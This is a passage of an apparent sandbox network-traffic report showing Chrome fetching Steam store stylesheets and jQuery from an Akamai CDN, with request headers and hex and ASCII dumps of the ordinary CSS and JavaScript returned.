0a 09 77 69 64 74 68 3a 20 61 75 74 6f 3b 0d 0a 09 64 69 73 70 Data Ascii: 00004000ontent .cluster_capsule_image {width: 616px;height: 353px;display: block;}.main_cluster_content .cluster_capsule .ds_flag {box-shadow: 0 0 6px 0 #000000;}.main_cluster_content .cluster_maincap_fill {width: auto;disp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49726	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:20 UTC	556	OUT	GET /public/css/v6/account.css?v=P2WLI8B6ddJe&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:21 UTC	355	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "oN4lh5QBn2Zd" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Sun, 06 Oct 2024 12:08:21 GMT Date: Sun, 06 Oct 2024 12:08:21 GMT Content-Length: 22982 Connection: close
2024-10-06 12:08:21 UTC	16029	IN	Data Raw: 0d 0a 2e 6c 69 63 65 6e 73 65 52 6f 77 2c 20 2e 74 72 61 6e 73 61 63 74 69 6f 6e 52 6f 77 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 35 70 78 20 31 34 70 78 3b 0d 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 30 30 30 30 30 30 3b 0d 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 6c 69 63 65 6e 73 65 52 6f 77 2e 65 76 65 6e 2c 20 2e 74 72 61 6e 73 61 63 74 69 6f 6e 52 6f 77 2e 65 76 65 6e 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 32 29 0d 0a 7d 0d 0a 0d 0a 2e 6c 69 63 65 6e 73 65 52 6f 77 2e 6f 64 64 2c 20 2e 74 72 61 6e 73 61 63 74 69 6f 6e 52 6f 77 2e Data Ascii: .licenseRow, .transactionRow {position: relative;padding: 5px 14px;border-bottom: 1px solid #000000;line-height: 18px;}.licenseRow.even, .transactionRow.even {background-color: rgba(0,0,0,0.2)}.licenseRow.odd, .transactionRow.
2024-10-06 12:08:21 UTC	6953	IN	Data Raw: 09 70 61 64 64 69 6e 67 3a 20 30 20 30 20 36 70 78 20 30 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 36 38 63 31 66 35 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 63 63 6f 75 6e 74 5f 68 65 61 64 65 72 5f 6c 69 6e 65 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 33 44 35 41 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 30 20 30 20 30 70 78 20 34 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0d 0a 0d 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 31 70 78 3b 0d 0a 0d 0a 0d 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 63 63 6f 75 6e 74 5f 68 65 61 64 65 72 5f 6c 69 6e 65 2e 6e 6f 69 63 6f 6e 20 7b 0d 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 32 70 78 3b 0d 0a 7d 0d 0a 0d 0a Data Ascii: padding: 0 0 6px 0;color: #68c1f5;}.account_header_line {background-color: #223D5A;padding: 0 0 0px 4px; font-size: 14px; line-height: 31px;color: #ffffff;}.account_header_line.noicon {padding-left: 12px;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49725	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:20 UTC	553	OUT	GET /public/css/v6/cart.css?v=u2FIaietX6aF&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:21 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "PUI5e8sxLsB9" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Sun, 06 Oct 2024 12:08:21 GMT Date: Sun, 06 Oct 2024 12:08:21 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 12:08:21 UTC	15992	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 2f 2a 20 43 53 53 20 44 6f 63 75 6d 65 6e 74 20 2a 2f 0d 0a 0d 0a 62 6f 64 79 2e 76 36 20 7b 0d 0a 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 4d 6f 74 69 76 61 20 53 61 6e 73 22 2c 20 53 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 20 2f 2a 20 6e 6f 72 6d 61 6c 20 2a 2f 0d 0a 0d 0a 09 09 7d 0d 0a 0d 0a 2e 74 6f 6f 6c 74 69 70 5f 71 5f 63 74 6e 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 34 29 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b Data Ascii: 0000C000/* CSS Document /body.v6 {font-family: "Motiva Sans", Sans-serif;font-weight: normal; / normal */}.tooltip_q_ctn { background: rgba(255,255,255,0.4); color: white; border-radius: 10px; font-size: 11px;
2024-10-06 12:08:21 UTC	15850	IN	Data Raw: 62 65 6c 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 6c 65 66 74 3a 20 30 70 78 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 37 30 39 32 61 35 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 35 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 72 65 76 69 65 77 5f 72 6f 77 20 2e 72 65 76 69 65 77 5f 72 6f 77 5f 76 61 6c 75 65 20 7b 0d 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 33 35 70 78 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 43 36 44 34 44 46 3b 0d 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 20 31 35 70 78 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 09 09 0d 0a 7d 0d 0a 0d 0a 0d 0a 23 70 75 72 63 68 61 Data Ascii: bel {position: absolute;left: 0px;color: #7092a5;font-size: 13px;line-height: 15px;}.review_row .review_row_value {padding-left: 135px;color: #C6D4DF;min-height: 15px;font-size: 13px;line-height: 17px;}#purcha
2024-10-06 12:08:21 UTC	16384	IN	Data Raw: 64 64 69 6e 67 3a 20 31 36 70 78 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 70 78 3b 0d 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 4d 6f 74 69 76 61 20 53 61 6e 73 22 2c 20 53 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 20 2f 2a 20 6c 69 67 68 74 20 2a 2f 0d 0a 0d 0a 09 09 7d 0d 0a 0d 0a 2e 63 68 65 63 6b 6f 75 74 5f 63 6f 6e 74 65 6e 74 2e 63 61 72 74 5f 73 65 6e 64 5f 63 68 6f 69 63 65 20 70 20 7b 0d 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 68 65 63 6b 6f 75 74 5f 63 6f 6e 74 65 6e 74 2e 63 61 72 74 5f 73 65 6e 64 5f 63 68 6f 69 63 65 20 70 20 65 6d 20 7b 0d 0a 09 66 6f 6e 74 2d 73 74 79 6c Data Ascii: dding: 16px;font-size: 13px;margin-top: 2px;font-family: "Motiva Sans", Sans-serif;font-weight: 300; /* light */}.checkout_content.cart_send_choice p {margin-top: 5px;}.checkout_content.cart_send_choice p em {font-styl
2024-10-06 12:08:21 UTC	938	IN	Data Raw: 2e 63 61 66 65 66 75 6e 64 65 64 69 6e 73 74 72 75 63 74 69 6f 6e 5f 68 65 61 64 65 72 20 2e 69 6e 73 74 72 75 63 74 69 6f 6e 5f 74 69 74 6c 65 20 7b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 3b 0d 0a 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 32 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 61 66 65 66 75 6e 64 65 64 69 6e 73 74 72 75 63 74 69 6f 6e 20 2e 62 6c 6f 63 6b 20 7b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 09 0d 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0d 0a 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0d 0a 09 70 61 64 64 69 Data Ascii: .cafefundedinstruction_header .instruction_title { font-size: 18px; text-transform: uppercase; letter-spacing: 2px;}.cafefundedinstruction .block { font-size: 16px;margin-top: 5px;padding-left: 15px;padding-right: 15px;paddi
2024-10-06 12:08:21 UTC	8118	IN	Data Raw: 30 30 30 30 31 46 41 41 0d 0a 38 29 20 39 35 25 29 3b 0a 09 77 69 64 74 68 3a 20 32 37 31 70 78 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 31 32 70 78 20 31 32 70 78 20 31 35 70 78 20 31 32 70 78 3b 0d 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 23 62 74 6e 5f 72 65 6d 6f 74 65 5f 69 6e 73 74 61 6c 6c 3a 68 6f 76 65 72 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 20 74 6f 70 2c 20 72 67 62 61 28 31 36 34 2c 32 30 38 2c 37 2c 31 29 20 35 25 2c 20 72 67 62 61 28 31 30 37 2c 31 33 35 2c 35 2c 31 29 20 39 35 25 29 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d Data Ascii: 00001FAA8) 95%);width: 271px;padding: 12px 12px 15px 12px;border-radius: 2px;text-decoration: none;}#btn_remote_install:hover {background: -webkit-linear-gradient( top, rgba(164,208,7,1) 5%, rgba(107,135,5,1) 95%);background: linear-
2024-10-06 12:08:21 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49732	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:21 UTC	570	OUT	GET /public/shared/css/shared_responsive.css?v=tzDCtkxeI-e5&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:22 UTC	340	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "tzDCtkxeI-e5" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=14101526 Expires: Tue, 18 Mar 2025 17:13:48 GMT Date: Sun, 06 Oct 2024 12:08:22 GMT Content-Length: 18486 Connection: close
2024-10-06 12:08:22 UTC	16044	IN	Data Raw: 0d 0a 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 7d 0d 0a 0d 0a 62 6f 64 79 2e 6d 6f 76 65 73 63 72 6f 6c 6c 74 6f 63 6f 6e 74 65 6e 74 20 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 09 74 6f 70 3a 20 30 3b 0d 0a 09 72 69 67 68 74 3a 20 30 3b 0d 0a 09 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 09 6c 65 66 74 3a 20 30 3b 0d 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 61 75 74 6f 3b 0d 0a 7d 0d 0a 0d 0a 62 6f 64 79 2e 6f 76 65 72 66 6c 6f 77 5f 68 69 64 64 65 6e 2c 0d 0a 62 6f 64 79 2e 6f 76 65 72 66 6c 6f 77 5f 68 69 64 64 65 6e 20 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f Data Ascii: .responsive_page_frame {position: relative;}body.movescrolltocontent .responsive_page_frame {position: fixed;top: 0;right: 0;bottom: 0;left: 0;overflow: auto;}body.overflow_hidden,body.overflow_hidden .responsive_page_
2024-10-06 12:08:22 UTC	2442	IN	Data Raw: 74 65 72 20 2e 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 32 30 70 78 20 30 3b 0d 0a 7d 0d 0a 0d 0a 68 74 6d 6c 2e 66 6f 72 63 65 5f 64 65 73 6b 74 6f 70 20 62 6f 64 79 20 23 66 6f 6f 74 65 72 5f 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 73 70 61 63 65 72 20 7b 0d 0a 09 68 65 69 67 68 74 3a 20 36 34 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 20 2e 62 74 6e 5f 6d 65 64 69 75 6d 20 3e 20 73 70 61 6e 20 7b 0d 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 35 30 25 3b 0d 0a 7d 0d 0a 0d 0a 40 6d 65 64 69 61 20 73 63 72 Data Ascii: ter .responsive_optin_link {display: block;text-align: center;padding: 20px 0;}html.force_desktop body #footer_responsive_optin_spacer {height: 64px;}.responsive_optin_link .btn_medium > span {line-height: 150%;}@media scr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49733	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:21 UTC	552	OUT	GET /public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:22 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: ".TZ2NKhB-nliU" Last-Modified: Wed, 28 Jun 2023 04:07:11 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=9935084 Expires: Wed, 29 Jan 2025 11:53:06 GMT Date: Sun, 06 Oct 2024 12:08:22 GMT Content-Length: 93637 Connection: close
2024-10-06 12:08:22 UTC	16037	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 38 2e 33 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 76 61 72 20 74 3d 4d 5b 65 5d 3d 7b 7d 3b 72 65 74 75 72 6e 20 76 2e 65 61 63 68 28 65 2e 73 70 6c 69 74 28 79 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 74 5b 6e 5d 3d 21 30 7d 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 6e 2c 72 29 7b 69 66 28 72 3d 3d 3d 74 26 26 65 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 31 29 7b 76 61 72 20 69 3d 22 64 61 74 61 2d 22 2b 6e 2e 72 65 70 6c 61 63 65 28 50 2c 22 2d 24 31 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 Data Ascii: /! jQuery v1.8.3 jquery.com \| jquery.org/license /(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 76 28 65 29 2c 6e 29 7d 29 3a 28 6e 2e 63 61 6c 6c 28 65 2c 69 29 2c 6e 3d 6e 75 6c 6c 29 29 3b 69 66 28 6e 29 66 6f 72 28 3b 6c 3c 63 3b 6c 2b 2b 29 6e 28 65 5b 6c 5d 2c 72 2c 61 3f 69 2e 63 61 6c 6c 28 65 5b 6c 5d 2c 6c 2c 6e 28 65 5b 6c 5d 2c 72 29 29 3a 69 2c 75 29 3b 73 3d 31 7d 72 65 74 75 72 6e 20 73 3f 65 3a 66 3f 6e 2e 63 61 6c 6c 28 65 29 3a 63 3f 6e 28 65 5b 30 5d 2c 72 29 3a 6f 7d 2c 6e 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 7d 7d 29 2c 76 2e 72 65 61 64 79 2e 70 72 6f 6d 69 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 72 29 7b 72 3d 76 2e 44 65 66 65 72 72 65 64 28 29 3b 69 66 28 69 2e 72 65 61 64 79 53 74 Data Ascii: {return a.call(v(e),n)}):(n.call(e,i),n=null));if(n)for(;l<c;l++)n(e[l],r,a?i.call(e[l],l,n(e[l],r)):i,u);s=1}return s?e:f?n.call(e):c?n(e[0],r):o},now:function(){return(new Date).getTime()}}),v.ready.promise=function(t){if(!r){r=v.Deferred();if(i.readySt
2024-10-06 12:08:22 UTC	3469	IN	Data Raw: 3d 7b 67 65 74 3a 6a 2e 67 65 74 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 74 3d 3d 3d 22 22 26 26 28 74 3d 22 66 61 6c 73 65 22 29 2c 6a 2e 73 65 74 28 65 2c 74 2c 6e 29 7d 7d 29 2c 76 2e 73 75 70 70 6f 72 74 2e 68 72 65 66 4e 6f 72 6d 61 6c 69 7a 65 64 7c 7c 76 2e 65 61 63 68 28 5b 22 68 72 65 66 22 2c 22 73 72 63 22 2c 22 77 69 64 74 68 22 2c 22 68 65 69 67 68 74 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 2e 61 74 74 72 48 6f 6f 6b 73 5b 6e 5d 3d 76 2e 65 78 74 65 6e 64 28 76 2e 61 74 74 72 48 6f 6f 6b 73 5b 6e 5d 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6e 2c 32 29 3b 72 65 74 75 72 6e 20 72 3d 3d 3d 6e 75 6c 6c 3f 74 3a 72 7d 7d 29 7d 29 2c 76 Data Ascii: ={get:j.get,set:function(e,t,n){t===""&&(t="false"),j.set(e,t,n)}}),v.support.hrefNormalized\|\|v.each(["href","src","width","height"],function(e,n){v.attrHooks[n]=v.extend(v.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return r===null?t:r}})}),v
2024-10-06 12:08:22 UTC	9615	IN	Data Raw: 28 79 2c 6e 29 3a 6e 65 77 20 76 2e 45 76 65 6e 74 28 79 29 2c 6e 2e 74 79 70 65 3d 79 2c 6e 2e 69 73 54 72 69 67 67 65 72 3d 21 30 2c 6e 2e 65 78 63 6c 75 73 69 76 65 3d 61 2c 6e 2e 6e 61 6d 65 73 70 61 63 65 3d 62 2e 6a 6f 69 6e 28 22 2e 22 29 2c 6e 2e 6e 61 6d 65 73 70 61 63 65 5f 72 65 3d 6e 2e 6e 61 6d 65 73 70 61 63 65 3f 6e 65 77 20 52 65 67 45 78 70 28 22 28 5e 7c 5c 5c 2e 29 22 2b 62 2e 6a 6f 69 6e 28 22 5c 5c 2e 28 3f 3a 2e 2a 5c 5c 2e 7c 29 22 29 2b 22 28 5c 5c 2e 7c 24 29 22 29 3a 6e 75 6c 6c 2c 68 3d 79 2e 69 6e 64 65 78 4f 66 28 22 3a 22 29 3c 30 3f 22 6f 6e 22 2b 79 3a 22 22 3b 69 66 28 21 73 29 7b 75 3d 76 2e 63 61 63 68 65 3b 66 6f 72 28 66 20 69 6e 20 75 29 75 5b 66 5d 2e 65 76 65 6e 74 73 26 26 75 5b 66 5d 2e 65 76 65 6e 74 73 5b 79 5d Data Ascii: (y,n):new v.Event(y),n.type=y,n.isTrigger=!0,n.exclusive=a,n.namespace=b.join("."),n.namespace_re=n.namespace?new RegExp("(^\|\\.)"+b.join("\\.(?:.*\\.\|)")+"(\\.\|$)"):null,h=y.indexOf(":")<0?"on"+y:"";if(!s){u=v.cache;for(f in u)u[f].events&&u[f].events[y]
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 26 26 21 72 29 69 66 28 69 3d 52 2e 65 78 65 63 28 65 29 29 69 66 28 66 3d 69 5b 31 5d 29 7b 69 66 28 6c 3d 3d 3d 39 29 7b 73 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 3b 69 66 28 21 73 7c 7c 21 73 2e 70 61 72 65 6e 74 4e 6f 64 65 29 72 65 74 75 72 6e 20 6e 3b 69 66 28 73 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6e 2e 70 75 73 68 28 73 29 2c 6e 7d 65 6c 73 65 20 69 66 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 26 26 28 73 3d 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 75 28 74 2c 73 29 26 26 73 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6e 2e 70 75 73 68 28 73 29 2c 6e 7d 65 6c 73 65 7b 69 66 28 69 5b 32 5d 29 72 65 74 75 72 6e 20 53 2e 61 70 70 6c 79 28 6e 2c 78 Data Ascii: &&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s\|\|!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S.apply(n,x
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 2c 6e 3d 76 28 65 2c 74 68 69 73 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 74 3d 30 3b 74 3c 72 3b 74 2b 2b 29 69 66 28 76 2e 63 6f 6e 74 61 69 6e 73 28 74 68 69 73 2c 6e 5b 74 5d 29 29 72 65 74 75 72 6e 21 30 7d 29 7d 2c 6e 6f 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 66 74 28 74 68 69 73 2c 65 2c 21 31 29 2c 22 6e 6f 74 22 2c 65 29 7d 2c 66 69 6c 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 66 74 28 74 68 69 73 2c 65 2c 21 30 29 2c 22 66 69 6c 74 65 72 22 2c 65 29 7d 2c 69 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 Data Ascii: ,n=v(e,this),r=n.length;return this.filter(function(){for(t=0;t<r;t++)if(v.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1),"not",e)},filter:function(e){return this.pushStack(ft(this,e,!0),"filter",e)},is:function(e){ret
2024-10-06 12:08:22 UTC	6481	IN	Data Raw: 65 70 6c 61 63 65 28 6f 6e 2c 22 5c 72 5c 6e 22 29 7d 7d 29 2e 67 65 74 28 29 7d 7d 29 2c 76 2e 70 61 72 61 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 2c 69 3d 5b 5d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 3d 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 74 29 3f 74 28 29 3a 74 3d 3d 6e 75 6c 6c 3f 22 22 3a 74 2c 69 5b 69 2e 6c 65 6e 67 74 68 5d 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 2b 22 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 7d 3b 6e 3d 3d 3d 74 26 26 28 6e 3d 76 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 26 26 76 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 74 72 61 64 69 74 69 6f 6e 61 6c 29 3b 69 66 28 76 2e 69 73 41 72 72 61 79 28 65 29 7c 7c 65 2e 6a 71 75 65 72 79 26 Data Ascii: 